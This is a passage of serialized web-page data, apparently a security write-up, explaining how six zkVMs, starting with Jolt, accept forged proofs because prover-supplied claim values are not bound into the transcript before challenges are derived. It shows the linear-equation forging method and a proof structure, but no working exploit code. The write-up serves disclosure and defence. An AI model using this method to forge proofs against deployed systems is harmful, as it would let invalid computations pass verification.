"className":114913},[4130],[114915],{"type":23,"tag":213,"props":114916,"children":114918},{"className":114917,"style":93183},[4135],[114919],{"type":23,"tag":213,"props":114920,"children":114921},{},[],{"type":23,"tag":213,"props":114923,"children":114925},{"className":114924,"style":4282},[4184],[],{"type":23,"tag":213,"props":114927,"children":114929},{"className":114928},[4287],[114930],{"type":28,"value":3190},{"type":23,"tag":213,"props":114932,"children":114934},{"className":114933,"style":4282},[4184],[],{"type":23,"tag":213,"props":114936,"children":114938},{"className":114937},[4092],[114939,114943],{"type":23,"tag":213,"props":114940,"children":114942},{"className":114941,"style":94131},[4097],[],{"type":23,"tag":213,"props":114944,"children":114946},{"className":114945},[4103],[114947],{"type":28,"value":4116},{"type":28,"value":124},{"type":23,"tag":24,"props":114950,"children":114951},{},[114952,114957,114959,114965],{"type":23,"tag":95,"props":114953,"children":114954},{},[114955],{"type":28,"value":114956},"Why this is vulnerable:",{"type":28,"value":114958}," The ",{"type":23,"tag":209,"props":114960,"children":114962},{"className":114961},[],[114963],{"type":28,"value":114964},"claimed_sum",{"type":28,"value":114966}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":23,"tag":18845,"props":114968,"children":114969},{},[],{"type":23,"tag":47,"props":114971,"children":114973},{"id":114972},"the-universal-attack-pattern",[114974],{"type":28,"value":114975},"The Universal Attack Pattern",{"type":23,"tag":24,"props":114977,"children":114978},{},[114979],{"type":28,"value":114980},"Now we can describe the attack pattern that works on all six systems:",{"type":23,"tag":24,"props":114982,"children":114983},{},[114984],{"type":23,"tag":4009,"props":114985,"children":114988},{"alt":114986,"src":114987},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":23,"tag":24,"props":114990,"children":114991},{},[114992,114994,115019],{"type":28,"value":114993},"When a value ",{"type":23,"tag":209,"props":114995,"children":114997},{"className":114996},[4076,4077],[114998],{"type":23,"tag":213,"props":114999,"children":115001},{"className":115000},[4082],[115002],{"type":23,"tag":213,"props":115003,"children":115005},{"className":115004,"ariaHidden":1710},[4087],[115006],{"type":23,"tag":213,"props":115007,"children":115009},{"className":115008},[4092],[115010,115014],{"type":23,"tag":213,"props":115011,"children":115013},{"className":115012,"style":21632},[4097],[],{"type":23,"tag":213,"props":115015,"children":115017},{"className":115016,"style":108298},[4103,21637],[115018],{"type":28,"value":108622},{"type":28,"value":115020}," isn't transcript-bound:",{"type":23,"tag":131,"props":115022,"children":115023},{},[115024,115055,115132,115277],{"type":23,"tag":135,"props":115025,"children":115026},{},[115027,115029,115054],{"type":28,"value":115028},"Challenges are fixed (independent of ",{"type":23,"tag":209,"props":115030,"children":115032},{"className":115031},[4076,4077],[115033],{"type":23,"tag":213,"props":115034,"children":115036},{"className":115035},[4082],[115037],{"type":23,"tag":213,"props":115038,"children":115040},{"className":115039,"ariaHidden":1710},[4087],[115041],{"type":23,"tag":213,"props":115042,"children":115044},{"className":115043},[4092],[115045,115049],{"type":23,"tag":213,"props":115046,"children":115048},{"className":115047,"style":21632},[4097],[],{"type":23,"tag":213,"props":115050,"children":115052},{"className":115051,"style":108298},[4103,21637],[115053],{"type":28,"value":108622},{"type":28,"value":2121},{"type":23,"tag":135,"props":115056,"children":115057},{},[115058,115060],{"type":28,"value":115059},"The verification equation has form: ",{"type":23,"tag":209,"props":115061,"children":115063},{"className":115062},[4076,4077],[115064],{"type":23,"tag":213,"props":115065,"children":115067},{"className":115066},[4082],[115068],{"type":23,"tag":213,"props":115069,"children":115071},{"className":115070,"ariaHidden":1710},[4087],[115072,115113],{"type":23,"tag":213,"props":115073,"children":115075},{"className":115074},[4092],[115076,115080,115085,115090,115095,115100,115104,115109],{"type":23,"tag":213,"props":115077,"children":115079},{"className":115078,"style":4205},[4097],[],{"type":23,"tag":213,"props":115081,"children":115083},{"className":115082,"style":95454},[4103,21637],[115084],{"type":28,"value":33141},{"type":23,"tag":213,"props":115086,"children":115088},{"className":115087},[21766],[115089],{"type":28,"value":265},{"type":23,"tag":213,"props":115091,"children":115093},{"className":115092,"style":108298},[4103,21637],[115094],{"type":28,"value":108622},{"type":23,"tag":213,"props":115096,"children":115098},{"className":115097},[21788],[115099],{"type":28,"value":2121},{"type":23,"tag":213,"props":115101,"children":115103},{"className":115102,"style":4282},[4184],[],{"type":23,"tag":213,"props":115105,"children":115107},{"className":115106},[4287],[115108],{"type":28,"value":3190},{"type":23,"tag":213,"props":115110,"children":115112},{"className":115111,"style":4282},[4184],[],{"type":23,"tag":213,"props":115114,"children":115116},{"className":115115},[4092],[115117,115122],{"type":23,"tag":213,"props":115118,"children":115121},{"className":115119,"style":115120},[4097],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":23,"tag":213,"props":115123,"children":115125},{"className":115124},[4103,28],[115126],{"type":23,"tag":213,"props":115127,"children":115129},{"className":115128},[4103],[115130],{"type":28,"value":115131},"target",{"type":23,"tag":135,"props":115133,"children":115134},{},[115135,115136,115162,115164],{"type":28,"value":7569},{"type":23,"tag":209,"props":115137,"children":115139},{"className":115138},[4076,4077],[115140],{"type":23,"tag":213,"props":115141,"children":115143},{"className":115142},[4082],[115144],{"type":23,"tag":213,"props":115145,"children":115147},{"className":115146,"ariaHidden":1710},[4087],[115148],{"type":23,"tag":213,"props":115149,"children":115151},{"className":115150},[4092],[115152,115157],{"type":23,"tag":213,"props":115153,"children":115156},{"className":115154,"style":115155},[4097],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":23,"tag":213,"props":115158,"children":115160},{"className":115159,"style":95454},[4103,21637],[115161],{"type":28,"value":33141},{"type":28,"value":115163}," is linear: ",{"type":23,"tag":209,"props":115165,"children":115167},{"className":115166},[4076,4077],[115168],{"type":23,"tag":213,"props":115169,"children":115171},{"className":115170},[4082],[115172],{"type":23,"tag":213,"props":115173,"children":115175},{"className":115174,"ariaHidden":1710},[4087],[115176,115205,115232,115260],{"type":23,"tag":213,"props":115177,"children":115179},{"className":115178},[4092],[115180,115185,115192,115196,115201],{"type":23,"tag":213,"props":115181,"children":115184},{"className":115182,"style":115183},[4097],"height:0.4445em;",[],{"type":23,"tag":213,"props":115186,"children":115189},{"className":115187,"style":115188},[4103,21637],"margin-right:0.0037em;",[115190],{"type":28,"value":115191},"α",{"type":23,"tag":213,"props":115193,"children":115195},{"className":115194,"style":4185},[4184],[],{"type":23,"tag":213,"props":115197,"children":115199},{"className":115198},[4190],[115200],{"type":28,"value":111362},{"type":23,"tag":213,"props":115202,"children":115204},{"className":115203,"style":4185},[4184],[],{"type":23,"tag":213,"props":115206,"children":115208},{"className":115207},[4092],[115209,115214,115219,115223,115228],{"type":23,"tag":213,"props":115210,"children":115213},{"className":115211,"style":115212},[4097],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":23,"tag":213,"props":115215,"children":115217},{"className":115216,"style":108298},[4103,21637],[115218],{"type":28,"value":108622},{"type":23,"tag":213,"props":115220,"children":115222},{"className":115221,"style":4185},[4184],[],{"type":23,"tag":213,"props":115224,"children":115226},{"className":115225},[4190],[115227],{"type":28,"value":2703},{"type":23,"tag":213,"props":115229,"children":115231},{"className":115230,"style":4185},[4184],[],{"type":23,"tag":213,"props":115233,"children":115235},{"className":115234},[4092],[115236,115240,115247,115251,115256],{"type":23,"tag":213,"props":115237,"children":115239},{"className":115238,"style":115155},[4097],[],{"type":23,"tag":213,"props":115241,"children":115244},{"className":115242,"style":115243},[4103,21637],"margin-right:0.05278em;",[115245],{"type":28,"value":115246},"β",{"type":23,"tag":213,"props":115248,"children":115250},{"className":115249,"style":4282},[4184],[],{"type":23,"tag":213,"props":115252,"children":115254},{"className":115253},[4287],[115255],{"type":28,"value":3190},{"type":23,"tag":213,"props":115257,"children":115259},{"className":115258,"style":4282},[4184],[],{"type":23,"tag":213,"props":115261,"children":115263},{"className":115262},[4092],[115264,115268],{"type":23,"tag":213,"props":115265,"children":115267},{"className":115266,"style":115120},[4097],[],{"type":23,"tag":213,"props":115269,"children":115271},{"className":115270},[4103,28],[115272],{"type":23,"tag":213,"props":115273,"children":115275},{"className":115274},[4103],[115276],{"type":28,"value":115131},{"type":23,"tag":135,"props":115278,"children":115279},{},[115280,115282],{"type":28,"value":115281},"Solve: ",{"type":23,"tag":209,"props":115283,"children":115285},{"className":115284},[4076,4077],[115286],{"type":23,"tag":213,"props":115287,"children":115289},{"className":115288},[4082],[115290],{"type":23,"tag":213,"props":115291,"children":115293},{"className":115292,"ariaHidden":1710},[4087],[115294,115320,115355],{"type":23,"tag":213,"props":115295,"children":115297},{"className":115296},[4092],[115298,115302,115307,115311,115316],{"type":23,"tag":213,"props":115299,"children":115301},{"className":115300,"style":21632},[4097],[],{"type":23,"tag":213,"props":115303,"children":115305},{"className":115304,"style":108298},[4103,21637],[115306],{"type":28,"value":108622},{"type":23,"tag":213,"props":115308,"children":115310},{"className":115309,"style":4282},[4184],[],{"type":23,"tag":213,"props":115312,"children":115314},{"className":115313},[4287],[115315],{"type":28,"value":3190},{"type":23,"tag":213,"props":115317,"children":115319},{"className":115318,"style":4282},[4184],[],{"type":23,"tag":213,"props":115321,"children":115323},{"className":115322},[4092],[115324,115328,115333,115342,115346,115351],{"type":23,"tag":213,"props":115325,"children":115327},{"className":115326,"style":4205},[4097],[],{"type":23,"tag":213,"props":115329,"children":115331},{"className":115330},[21766],[115332],{"type":28,"value":265},{"type":23,"tag":213,"props":115334,"children":115336},{"className":115335},[4103,28],[115337],{"type":23,"tag":213,"props":115338,"children":115340},{"className":115339},[4103],[115341],{"type":28,"value":115131},{"type":23,"tag":213,"props":115343,"children":115345},{"className":115344,"style":4185},[4184],[],{"type":23,"tag":213,"props":115347,"children":115349},{"className":115348},[4190],[115350],{"type":28,"value":4164},{"type":23,"tag":213,"props":115352,"children":115354},{"className":115353,"style":4185},[4184],[],{"type":23,"tag":213,"props":115356,"children":115358},{"className":115357},[4092],[115359,115363,115368,115373,115378],{"type":23,"tag":213,"props":115360,"children":115362},{"className":115361,"style":4205},[4097],[],{"type":23,"tag":213,"props":115364,"children":115366},{"className":115365,"style":115243},[4103,21637],[115367],{"type":28,"value":115246},{"type":23,"tag":213,"props":115369,"children":115371},{"className":115370},[21788],[115372],{"type":28,"value":2121},{"type":23,"tag":213,"props":115374,"children":115376},{"className":115375},[4103],[115377],{"type":28,"value":4675},{"type":23,"tag":213,"props":115379,"children":115381},{"className":115380,"style":115188},[4103,21637],[115382],{"type":28,"value":115191},{"type":23,"tag":24,"props":115384,"children":115385},{},[115386],{"type":28,"value":115387},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":23,"tag":24,"props":115389,"children":115390},{},[115391,115393,115471],{"type":28,"value":115392},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":23,"tag":209,"props":115394,"children":115396},{"className":115395},[4076,4077],[115397],{"type":23,"tag":213,"props":115398,"children":115400},{"className":115399},[4082],[115401],{"type":23,"tag":213,"props":115402,"children":115404},{"className":115403,"ariaHidden":1710},[4087],[115405],{"type":23,"tag":213,"props":115406,"children":115408},{"className":115407},[4092],[115409,115414,115420,115425,115466],{"type":23,"tag":213,"props":115410,"children":115413},{"className":115411,"style":115412},[4097],"height:1.0641em;vertical-align:-0.25em;",[],{"type":23,"tag":213,"props":115415,"children":115417},{"className":115416,"style":93100},[4103,21637],[115418],{"type":28,"value":115419},"O",{"type":23,"tag":213,"props":115421,"children":115423},{"className":115422},[21766],[115424],{"type":28,"value":265},{"type":23,"tag":213,"props":115426,"children":115428},{"className":115427},[4103],[115429,115434],{"type":23,"tag":213,"props":115430,"children":115432},{"className":115431},[4103,21637],[115433],{"type":28,"value":56456},{"type":23,"tag":213,"props":115435,"children":115437},{"className":115436},[4120],[115438],{"type":23,"tag":213,"props":115439,"children":115441},{"className":115440},[4125],[115442],{"type":23,"tag":213,"props":115443,"children":115445},{"className":115444},[4130],[115446],{"type":23,"tag":213,"props":115447,"children":115449},{"className":115448,"style":4098},[4135],[115450],{"type":23,"tag":213,"props":115451,"children":115452},{"style":4139},[115453,115457],{"type":23,"tag":213,"props":115454,"children":115456},{"className":115455,"style":4145},[4144],[],{"type":23,"tag":213,"props":115458,"children":115460},{"className":115459},[4150,4151,4152,4153],[115461],{"type":23,"tag":213,"props":115462,"children":115464},{"className":115463},[4103,4153],[115465],{"type":28,"value":17346},{"type":23,"tag":213,"props":115467,"children":115469},{"className":115468},[21788],[115470],{"type":28,"value":2121},{"type":28,"value":115472}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":23,"tag":18845,"props":115474,"children":115475},{},[],{"type":23,"tag":47,"props":115477,"children":115479},{"id":115478},"the-six-broken-systems",[115480],{"type":28,"value":115481},"The Six Broken Systems",{"type":23,"tag":24,"props":115483,"children":115484},{},[115485],{"type":23,"tag":4009,"props":115486,"children":115489},{"alt":115487,"src":115488},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":23,"tag":24,"props":115491,"children":115492},{},[115493],{"type":28,"value":115494},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":23,"tag":18845,"props":115496,"children":115497},{},[],{"type":23,"tag":9693,"props":115499,"children":115501},{"id":115500},"jolt-a16z",[115502],{"type":28,"value":115503},"Jolt (a16z)",{"type":23,"tag":24,"props":115505,"children":115506},{},[115507],{"type":28,"value":115508},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":23,"tag":24,"props":115510,"children":115511},{},[115512],{"type":23,"tag":95,"props":115513,"children":115514},{},[115515],{"type":28,"value":115516},"The proof structure:",{"type":23,"tag":202,"props":115518,"children":115520},{"code":115519},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[115521],{"type":23,"tag":209,"props":115522,"children":115523},{"__ignoreMap":7},[115524],{"type":28,"value":115519},{"type":23,"tag":24,"props":115526,"children":115527},{},[115528],{"type":23,"tag":95,"props":115529,"children":115530},{},[115531],{"type":28,"value":115532},"The verification flow:",{"type":23,"tag":24,"props":115534,"children":115535},{},[115536],{"type":23,"tag":4009,"props":115537,"children":115540},{"alt":115538,"src":115539},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":23,"tag":24,"props":115542,"children":115543},{},[115544,115549,115551,115557,115559,115565,115567,115572],{"type":23,"tag":95,"props":115545,"children":115546},{},[115547],{"type":28,"value":115548},"The bug:",{"type":28,"value":115550}," Each sumcheck instance provides an ",{"type":23,"tag":209,"props":115552,"children":115554},{"className":115553},[],[115555],{"type":28,"value":115556},"input_claim",{"type":28,"value":115558},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":23,"tag":209,"props":115560,"children":115562},{"className":115561},[],[115563],{"type":28,"value":115564},"opening_claims",{"type":28,"value":115566}," in the proof, but they were ",{"type":23,"tag":95,"props":115568,"children":115569},{},[115570],{"type":28,"value":115571},"never absorbed into the transcript",{"type":28,"value":115573}," before the batching coefficients were derived.",{"type":23,"tag":24,"props":115575,"children":115576},{},[115577],{"type":23,"tag":4009,"props":115578,"children":115581},{"alt":115579,"src":115580},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":23,"tag":24,"props":115583,"children":115584},{},[115585],{"type":23,"tag":95,"props":115586,"children":115587},{},[115588],{"type":28,"value":115589},"How sumcheck uses opening_claims:",{"type":23,"tag":24,"props":115591,"children":115592},{},[115593,115595,115601,115603,115680],{"type":28,"value":115594},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":23,"tag":209,"props":115596,"children":115598},{"className":115597},[],[115599],{"type":28,"value":115600},"BatchedClaim",{"type":28,"value":115602}," by taking a random linear combination of the individual claims ",{"type":23,"tag":209,"props":115604,"children":115606},{"className":115605},[4076,4077],[115607],{"type":23,"tag":213,"props":115608,"children":115610},{"className":115609},[4082],[115611],{"type":23,"tag":213,"props":115612,"children":115614},{"className":115613,"ariaHidden":1710},[4087],[115615],{"type":23,"tag":213,"props":115616,"children":115618},{"className":115617},[4092],[115619,115623],{"type":23,"tag":213,"props":115620,"children":115622},{"className":115621,"style":111097},[4097],[],{"type":23,"tag":213,"props":115624,"children":115626},{"className":115625},[4103],[115627,115632],{"type":23,"tag":213,"props":115628,"children":115630},{"className":115629,"style":93334},[4103,21637],[115631],{"type":28,"value":93337},{"type":23,"tag":213,"props":115633,"children":115635},{"className":115634},[4120],[115636],{"type":23,"tag":213,"props":115637,"children":115639},{"className":115638},[4125,21691],[115640,115669],{"type":23,"tag":213,"props":115641,"children":115643},{"className":115642},[4130],[115644,115664],{"type":23,"tag":213,"props":115645,"children":115647},{"className":115646,"style":93629},[4135],[115648],{"type":23,"tag":213,"props":115649,"children":115650},{"style":110529},[115651,115655],{"type":23,"tag":213,"props":115652,"children":115654},{"className":115653,"style":4145},[4144],[],{"type":23,"tag":213,"props":115656,"children":115658},{"className":115657},[4150,4151,4152,4153],[115659],{"type":23,"tag":213,"props":115660,"children":115662},{"className":115661},[4103,21637,4153],[115663],{"type":28,"value":3826},{"type":23,"tag":213,"props":115665,"children":115667},{"className":115666},[21794],[115668],{"type":28,"value":21797},{"type":23,"tag":213,"props":115670,"children":115672},{"className":115671},[4130],[115673],{"type":23,"tag":213,"props":115674,"children":115676},{"className":115675,"style":93183},[4135],[115677],{"type":23,"tag":213,"props":115678,"children":115679},{},[],{"type":28,"value":277},{"type":23,"tag":24,"props":115682,"children":115683},{},[115684],{"type":23,"tag":209,"props":115685,"children":115687},{"className":115686},[4076,4077],[115688],{"type":23,"tag":213,"props":115689,"children":115691},{"className":115690},[4082],[115692],{"type":23,"tag":213,"props":115693,"children":115695},{"className":115694,"ariaHidden":1710},[4087],[115696,115726,115867],{"type":23,"tag":213,"props":115697,"children":115699},{"className":115698},[4092],[115700,115704,115713,115717,115722],{"type":23,"tag":213,"props":115701,"children":115703},{"className":115702,"style":93015},[4097],[],{"type":23,"tag":213,"props":115705,"children":115707},{"className":115706},[4103,28],[115708],{"type":23,"tag":213,"props":115709,"children":115711},{"className":115710},[4103],[115712],{"type":28,"value":115600},{"type":23,"tag":213,"props":115714,"children":115716},{"className":115715,"style":4282},[4184],[],{"type":23,"tag":213,"props":115718,"children":115720},{"className":115719},[4287],[115721],{"type":28,"value":3190},{"type":23,"tag":213,"props":115723,"children":115725},{"className":115724,"style":4282},[4184],[],{"type":23,"tag":213,"props":115727,"children":115729},{"className":115728},[4092],[115730,115735,115792,115796,115854,115858,115863],{"type":23,"tag":213,"props":115731,"children":115734},{"className":115732,"style":115733},[4097],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":23,"tag":213,"props":115736,"children":115738},{"className":115737},[21673],[115739,115744],{"type":23,"tag":213,"props":115740,"children":115742},{"className":115741,"style":21680},[21673,21678,21679],[115743],{"type":28,"value":108895},{"type":23,"tag":213,"props":115745,"children":115747},{"className":115746},[4120],[115748],{"type":23,"tag":213,"props":115749,"children":115751},{"className":115750},[4125,21691],[115752,115781],{"type":23,"tag":213,"props":115753,"children":115755},{"className":115754},[4130],[115756,115776],{"type":23,"tag":213,"props":115757,"children":115759},{"className":115758,"style":114307},[4135],[115760],{"type":23,"tag":213,"props":115761,"children":115762},{"style":21704},[115763,115767],{"type":23,"tag":213,"props":115764,"children":115766},{"className":115765,"style":4145},[4144],[],{"type":23,"tag":213,"props":115768,"children":115770},{"className":115769},[4150,4151,4152,4153],[115771],{"type":23,"tag":213,"props":115772,"children":115774},{"className":115773},[4103,21637,4153],[115775],{"type":28,"value":3826},{"type":23,"tag":213,"props":115777,"children":115779},{"className":115778},[21794],[115780],{"type":28,"value":21797},{"type":23,"tag":213,"props":115782,"children":115784},{"className":115783},[4130],[115785],{"type":23,"tag":213,"props":115786,"children":115788},{"className":115787,"style":114587},[4135],[115789],{"type":23,"tag":213,"props":115790,"children":115791},{},[],{"type":23,"tag":213,"props":115793,"children":115795},{"className":115794,"style":4223},[4184],[],{"type":23,"tag":213,"props":115797,"children":115799},{"className":115798},[4103],[115800,115805],{"type":23,"tag":213,"props":115801,"children":115803},{"className":115802,"style":115188},[4103,21637],[115804],{"type":28,"value":115191},{"type":23,"tag":213,"props":115806,"children":115808},{"className":115807},[4120],[115809],{"type":23,"tag":213,"props":115810,"children":115812},{"className":115811},[4125,21691],[115813,115843],{"type":23,"tag":213,"props":115814,"children":115816},{"className":115815},[4130],[115817,115838],{"type":23,"tag":213,"props":115818,"children":115820},{"className":115819,"style":93629},[4135],[115821],{"type":23,"tag":213,"props":115822,"children":115824},{"style":115823},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[115825,115829],{"type":23,"tag":213,"props":115826,"children":115828},{"className":115827,"style":4145},[4144],[],{"type":23,"tag":213,"props":115830,"children":115832},{"className":115831},[4150,4151,4152,4153],[115833],{"type":23,"tag":213,"props":115834,"children":115836},{"className":115835},[4103,21637,4153],[115837],{"type":28,"value":3826},{"type":23,"tag":213,"props":115839,"children":115841},{"className":115840},[21794],[115842],{"type":28,"value":21797},{"type":23,"tag":213,"props":115844,"children":115846},{"className":115845},[4130],[115847],{"type":23,"tag":213,"props":115848,"children":115850},{"className":115849,"style":93183},[4135],[115851],{"type":23,"tag":213,"props":115852,"children":115853},{},[],{"type":23,"tag":213,"props":115855,"children":115857},{"className":115856,"style":4185},[4184],[],{"type":23,"tag":213,"props":115859,"children":115861},{"className":115860},[4190],[115862],{"type":28,"value":111362},{"type":23,"tag":213,"props":115864,"children":115866},{"className":115865,"style":4185},[4184],[],{"type":23,"tag":213,"props":115868,"children":115870},{"className":115869},[4092],[115871,115875],{"type":23,"tag":213,"props":115872,"children":115874},{"className":115873,"style":111097},[4097],[],{"type":23,"tag":213,"props":115876,"children":115878},{"className":115877},[4103],[115879,115884],{"type":23,"tag":213,"props":115880,"children":115882},{"className":115881,"style":93334},[4103,21637],[115883],{"type":28,"value":93337},{"type":23,"tag":213,"props":115885,"children":115887},{"className":115886},[4120],[115888],{"type":23,"tag":213,"props":115889,"children":115891},{"className":115890},[4125,21691],[115892,115921],{"type":23,"tag":213,"props":115893,"children":115895},{"className":115894},[4130],[115896,115916],{"type":23,"tag":213,"props":115897,"children":115899},{"className":115898,"style":93629},[4135],[115900],{"type":23,"tag":213,"props":115901,"children":115902},{"style":110529},[115903,115907],{"type":23,"tag":213,"props":115904,"children":115906},{"className":115905,"style":4145},[4144],[],{"type":23,"tag":213,"props":115908,"children":115910},{"className":115909},[4150,4151,4152,4153],[115911],{"type":23,"tag":213,"props":115912,"children":115914},{"className":115913},[4103,21637,4153],[115915],{"type":28,"value":3826},{"type":23,"tag":213,"props":115917,"children":115919},{"className":115918},[21794],[115920],{"type":28,"value":21797},{"type":23,"tag":213,"props":115922,"children":115924},{"className":115923},[4130],[115925],{"type":23,"tag":213,"props":115926,"children":115928},{"className":115927,"style":93183},[4135],[115929],{"type":23,"tag":213,"props":115930,"children":115931},{},[],{"type":23,"tag":24,"props":115933,"children":115934},{},[115935,115937,116014,116016,116021,116023,116100,116102,116179,116181,116258],{"type":28,"value":115936},"where ",{"type":23,"tag":209,"props":115938,"children":115940},{"className":115939},[4076,4077],[115941],{"type":23,"tag":213,"props":115942,"children":115944},{"className":115943},[4082],[115945],{"type":23,"tag":213,"props":115946,"children":115948},{"className":115947,"ariaHidden":1710},[4087],[115949],{"type":23,"tag":213,"props":115950,"children":115952},{"className":115951},[4092],[115953,115957],{"type":23,"tag":213,"props":115954,"children":115956},{"className":115955,"style":110070},[4097],[],{"type":23,"tag":213,"props":115958,"children":115960},{"className":115959},[4103],[115961,115966],{"type":23,"tag":213,"props":115962,"children":115964},{"className":115963,"style":115188},[4103,21637],[115965],{"type":28,"value":115191},{"type":23,"tag":213,"props":115967,"children":115969},{"className":115968},[4120],[115970],{"type":23,"tag":213,"props":115971,"children":115973},{"className":115972},[4125,21691],[115974,116003],{"type":23,"tag":213,"props":115975,"children":115977},{"className":115976},[4130],[115978,115998],{"type":23,"tag":213,"props":115979,"children":115981},{"className":115980,"style":93629},[4135],[115982],{"type":23,"tag":213,"props":115983,"children":115984},{"style":115823},[115985,115989],{"type":23,"tag":213,"props":115986,"children":115988},{"className":115987,"style":4145},[4144],[],{"type":23,"tag":213,"props":115990,"children":115992},{"className":115991},[4150,4151,4152,4153],[115993],{"type":23,"tag":213,"props":115994,"children":115996},{"className":115995},[4103,21637,4153],[115997],{"type":28,"value":3826},{"type":23,"tag":213,"props":115999,"children":116001},{"className":116000},[21794],[116002],{"type":28,"value":21797},{"type":23,"tag":213,"props":116004,"children":116006},{"className":116005},[4130],[116007],{"type":23,"tag":213,"props":116008,"children":116010},{"className":116009,"style":93183},[4135],[116011],{"type":23,"tag":213,"props":116012,"children":116013},{},[],{"type":28,"value":116015}," are random coefficients derived from the transcript. Since ",{"type":23,"tag":209,"props":116017,"children":116019},{"className":116018},[],[116020],{"type":28,"value":115564},{"type":28,"value":116022}," (containing ",{"type":23,"tag":209,"props":116024,"children":116026},{"className":116025},[4076,4077],[116027],{"type":23,"tag":213,"props":116028,"children":116030},{"className":116029},[4082],[116031],{"type":23,"tag":213,"props":116032,"children":116034},{"className":116033,"ariaHidden":1710},[4087],[116035],{"type":23,"tag":213,"props":116036,"children":116038},{"className":116037},[4092],[116039,116043],{"type":23,"tag":213,"props":116040,"children":116042},{"className":116041,"style":111097},[4097],[],{"type":23,"tag":213,"props":116044,"children":116046},{"className":116045},[4103],[116047,116052],{"type":23,"tag":213,"props":116048,"children":116050},{"className":116049,"style":93334},[4103,21637],[116051],{"type":28,"value":93337},{"type":23,"tag":213,"props":116053,"children":116055},{"className":116054},[4120],[116056],{"type":23,"tag":213,"props":116057,"children":116059},{"className":116058},[4125,21691],[116060,116089],{"type":23,"tag":213,"props":116061,"children":116063},{"className":116062},[4130],[116064,116084],{"type":23,"tag":213,"props":116065,"children":116067},{"className":116066,"style":93629},[4135],[116068],{"type":23,"tag":213,"props":116069,"children":116070},{"style":110529},[116071,116075],{"type":23,"tag":213,"props":116072,"children":116074},{"className":116073,"style":4145},[4144],[],{"type":23,"tag":213,"props":116076,"children":116078},{"className":116077},[4150,4151,4152,4153],[116079],{"type":23,"tag":213,"props":116080,"children":116082},{"className":116081},[4103,21637,4153],[116083],{"type":28,"value":3826},{"type":23,"tag":213,"props":116085,"children":116087},{"className":116086},[21794],[116088],{"type":28,"value":21797},{"type":23,"tag":213,"props":116090,"children":116092},{"className":116091},[4130],[116093],{"type":23,"tag":213,"props":116094,"children":116096},{"className":116095,"style":93183},[4135],[116097],{"type":23,"tag":213,"props":116098,"children":116099},{},[],{"type":28,"value":116101},") were not in the transcript, the ",{"type":23,"tag":209,"props":116103,"children":116105},{"className":116104},[4076,4077],[116106],{"type":23,"tag":213,"props":116107,"children":116109},{"className":116108},[4082],[116110],{"type":23,"tag":213,"props":116111,"children":116113},{"className":116112,"ariaHidden":1710},[4087],[116114],{"type":23,"tag":213,"props":116115,"children":116117},{"className":116116},[4092],[116118,116122],{"type":23,"tag":213,"props":116119,"children":116121},{"className":116120,"style":110070},[4097],[],{"type":23,"tag":213,"props":116123,"children":116125},{"className":116124},[4103],[116126,116131],{"type":23,"tag":213,"props":116127,"children":116129},{"className":116128,"style":115188},[4103,21637],[116130],{"type":28,"value":115191},{"type":23,"tag":213,"props":116132,"children":116134},{"className":116133},[4120],[116135],{"type":23,"tag":213,"props":116136,"children":116138},{"className":116137},[4125,21691],[116139,116168],{"type":23,"tag":213,"props":116140,"children":116142},{"className":116141},[4130],[116143,116163],{"type":23,"tag":213,"props":116144,"children":116146},{"className":116145,"style":93629},[4135],[116147],{"type":23,"tag":213,"props":116148,"children":116149},{"style":115823},[116150,116154],{"type":23,"tag":213,"props":116151,"children":116153},{"className":116152,"style":4145},[4144],[],{"type":23,"tag":213,"props":116155,"children":116157},{"className":116156},[4150,4151,4152,4153],[116158],{"type":23,"tag":213,"props":116159,"children":116161},{"className":116160},[4103,21637,4153],[116162],{"type":28,"value":3826},{"type":23,"tag":213,"props":116164,"children":116166},{"className":116165},[21794],[116167],{"type":28,"value":21797},{"type":23,"tag":213,"props":116169,"children":116171},{"className":116170},[4130],[116172],{"type":23,"tag":213,"props":116173,"children":116175},{"className":116174,"style":93183},[4135],[116176],{"type":23,"tag":213,"props":116177,"children":116178},{},[],{"type":28,"value":116180}," values are independent of ",{"type":23,"tag":209,"props":116182,"children":116184},{"className":116183},[4076,4077],[116185],{"type":23,"tag":213,"props":116186,"children":116188},{"className":116187},[4082],[116189],{"type":23,"tag":213,"props":116190,"children":116192},{"className":116191,"ariaHidden":1710},[4087],[116193],{"type":23,"tag":213,"props":116194,"children":116196},{"className":116195},[4092],[116197,116201],{"type":23,"tag":213,"props":116198,"children":116200},{"className":116199,"style":111097},[4097],[],{"type":23,"tag":213,"props":116202,"children":116204},{"className":116203},[4103],[116205,116210],{"type":23,"tag":213,"props":116206,"children":116208},{"className":116207,"style":93334},[4103,21637],[116209],{"type":28,"value":93337},{"type":23,"tag":213,"props":116211,"children":116213},{"className":116212},[4120],[116214],{"type":23,"tag":213,"props":116215,"children":116217},{"className":116216},[4125,21691],[116218,116247],{"type":23,"tag":213,"props":116219,"children":116221},{"className":116220},[4130],[116222,116242],{"type":23,"tag":213,"props":116223,"children":116225},{"className":116224,"style":93629},[4135],[116226],{"type":23,"tag":213,"props":116227,"children":116228},{"style":110529},[116229,116233],{"type":23,"tag":213,"props":116230,"children":116232},{"cl